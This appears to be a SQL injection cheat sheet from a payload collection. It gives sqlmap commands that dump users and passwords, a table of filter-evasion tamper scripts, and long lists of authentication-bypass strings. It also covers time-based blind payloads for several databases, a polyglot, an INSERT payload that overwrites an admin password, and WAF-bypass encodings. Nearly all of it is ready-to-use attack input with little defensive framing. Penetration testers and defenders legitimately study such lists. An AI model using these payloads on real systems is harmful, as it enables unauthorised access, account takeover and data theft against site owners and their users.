# SQL injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application ## Entry point detection Detection of an SQL injection entry point ``` ' " %27 " / %22 ; / %3B %%2727 %25%27 `+HERP '||'DERP '+'herp ' ' DERP Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') ``` ## SQL injection using SQLmap Basic arguments for SQLmap ``` sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs ``` Custom injection in UserAgent/Header/Referer/Cookie ``` python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" The injection is located at the '*' ``` General tamper option and tamper's list ``` tamper=name_of_the_tamper ``` | Tamper | Description | | --- | --- | |apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | |apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart| |appendnullbyte.py | Appends encoded NULL byte character at the end of payload | |base64encode.py | Base64 all characters in a given payload | |between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | |bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | |chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | |commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'| |commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'| |concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'| |charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | |charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) | |equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | |escapequotes.py | Slash escape quotes (' and ") | |greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | |halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | |ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'| |modsecurityversioned.py | Embraces complete query with versioned comment | |modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | |multiplespaces.py | Adds multiple spaces around SQL keywords | |nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters| |percentage.py | Adds a percentage sign ('%') infront of each character | |overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | |randomcase.py | Replaces each keyword character with random case value | |randomcomments.py | Add random comments to SQL keywords| |securesphere.py | Appends special crafted string| |sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | |space2comment.py | Replaces space character (' ') with comments | |space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | |space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | |space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | |space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | |space2plus.py | Replaces space character (' ') with plus ('+') | |space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | |symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) | |unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | |unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | |uppercase.py | Replaces each keyword character with upper case value 'INSERT'| |varnish.py | Append a HTTP header 'X-originating-IP' | |versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | |versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | |xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'| ## Authentication bypass ``` '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` ## Time based ``` SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) comment: -- /**/ MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 comment: # -- /*!30100 MySQL code*/ MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME]) comment: # -- /*!30100 MySQL code*/ MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) comment: # -- /*!30100 MySQL code*/ Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/ PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) comment: -- /**/ PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) comment: -- /**/ SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: -- ``` ## Polyglot injection (multicontext) ``` SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Insert Statement - ON DUPLICATE KEY UPDATE ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ``` Inject using payload: attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- The query would look like this: INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input"); This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty". After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! ``` ## WAF Bypass No Space (%20) - bypass using whitespace alternatives ``` ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` No Whitespace - bypass using comments ``` ?id=1/*comment*/and/**/1=1/**/-- ``` No Whitespace - bypass using parenthesis ``` ?id=(1)and(1)=(1)-- ``` No Comma - bypass using OFFSET, FROM and JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` Blacklist using keywords - bypass using uppercase/lowercase ``` ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Blacklist using keywords case insensitive - bypass using an equivalent operator ``` AND -> && OR -> || = -> LIKE,REGEXP, not < and not > > X -> not between 0 and X WHERE -> HAVING ``` Information_schema.tables Alternative ``` select * from mysql.innodb_table_stats; +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ | dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 | | dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 | ... +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ mysql> show tables in dvwa; +----------------+ | Tables_in_dvwa | +----------------+ | guestbook | | users | +----------------+ ``` Version Alternative ``` mysql> select @@innodb_version; +------------------+ | @@innodb_version | +------------------+ | 5.6.31 | +------------------+ mysql> select @@version; +-------------------------+ | @@version | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ mysql> mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.6.31-0ubuntu0.15.10.1 | +-------------------------+ ``` ## Thanks to - Other resources * MySQL: - [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) - [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) - [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) - [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection) * MSQQL: - [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php) - [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * ORACLE: - [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) * POSTGRESQL: - [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) * Others - [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) - [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) - [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) - [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) - [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet) - [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/) - [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html) - [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)